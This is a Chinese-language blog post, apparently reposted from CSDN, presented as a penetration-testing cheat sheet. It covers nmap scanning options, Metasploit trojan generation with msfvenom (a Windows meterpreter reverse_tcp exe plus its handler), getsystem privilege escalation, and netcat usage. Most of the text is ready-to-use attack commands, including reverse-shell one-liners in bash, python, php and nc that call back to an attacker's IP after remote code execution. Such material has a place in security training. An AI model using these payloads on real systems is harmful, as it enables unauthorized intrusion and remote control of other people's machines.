渗透工具(nmap,msf,nc)

nmap的使用:

nmap 在渗透中常用命令:
1.扫描子网 nmap 192.168.1.0/24
2.扫描全端口信息:nmap -p- 靶机ip
3.在防火墙禁止ping 的情况下使用:nmap -po 靶机ip
4.查看开放了那些端口:nmap -sT 靶机ip
5.查看存活的主机:nmap -sP 靶机ip
6.扫描隐藏端口:nmap -sS 靶机ip
7.进行主机系统识别: nmap -sS -O 靶机ip
8.将扫描结果保存到1.txt: nmap -oN 1.txt 靶机ip
9.检测操作系统和服务:nmap -A 靶机ip
10.标准服务检测 :nmap -sV 靶机ip
11.探测防火墙规则: nmap -sA 靶机ip
12.探测是否有防火墙: nmap -PN 靶机ip
13. 扫描全部端口并且扫描端口服务 nmap -sV -p- 靶机ip
14. nmap -sS -p 3389 -oG- 网关ip/24 (加上 | grep open 更清晰) //再加上“-oG”选项表示以一种易于检索的格式记录信息,即每台主机都以单独的行来记录所有信息。


msf的使用(部分):

渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
监听器(Listener),是Metasploit中用来等待网络连接的组件;

1.msf对目标主机ssh的爆破:
在这里插入图片描述

2.Msf生成payload:
1.msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=666 -f exe x>123.exe 生成木马 -a选择架构 -f输出文件格式 -o文件输出 windows/meterpreter/reverse_tcp 攻击载荷 LHOST=ip 本机地址 LPORT=666 端口号
2.msfconsole 启动msf
3.use exploit/multi/handler 加载攻击模块
4.set payload android/meterpreter/reverse_tcp 选择要使用的Payload 与生成的木马载荷要一致;
5.输入set LHOST(ip)
6.输入 set LPORT(端口)
7.终端执行exploit;

3.Msf权限提升:

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权:

getuid 命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。

注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
getuid
getsystem 提权
getuid


Nc命令:

nc又名netcat(瑞士军刀),一个简单而有用的工具, 何为反弹shell? > 简单来说就是我们监听,然后把服务器的一个shell反弹回来,然后我们可以在自己电脑终端控制服务器终端。

1.Nc之间通讯:
主机A nc端输入:nc -l -p 99 (-l 表示处于监听状态,也就是监听99端口 老版本需要加-p参数)
主机B nc 端输入:nc -nv ip 333 (此处ip为主机A的ip建立连接 n表示不使用DNS 反向查询ip地址的域名 v表示详细输出)

2.Nc 之间传输文件
主机A nc 发送端输入 nc -l -p 9999 < 1.txt
主机B nc 下载端输入 nc ip 9999 > 1.txt

3.NC 反弹shell
主机A 开启监听:nc -lvn 9999
主机B bash -i >& /dev/tcp/192.168.110.1/7777 0>&1 (想办法在服务器输入)


Windows/Linux下nc 反弹shell

<1>windows:
主要分为正向反向连接
1:正向连接
服务器执行:nc -l -p 8888 -e cmd.exe
本地主机执行:nc -vv 服务器ip 8888
2:反向连接
服务器执行:nc -e cmd.exe 公网ip 8888
公网主机执行:nc -lvp 8888
即可成功反弹shell

<2>linux:
本地需要监听: nc -lvp 4444

1.Bash

bash -i >& /dev/tcp/ip/port 0>&1

2.python

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip’,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”

3.php

php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/sh -i <&3 >&3 2>&3");’
php- ‘exec("/bin/bash -i >& /dev/tcp/ip/port")’

4.nc反弹

nc -e /bin/bash ip port
-e: 指定nc连接成功后执行的程序

总结:
为什么要特意讲下bash环境下的反弹shell,因为我们常会见到一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时我们权限较低,但的的确确具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。

nc的弱点:
Nc缺乏加密和身份验证的能力,容易被人嗅探,发生中间人劫持!

猜你喜欢

转载自blog.csdn.net/weixin_46700042/article/details/108523529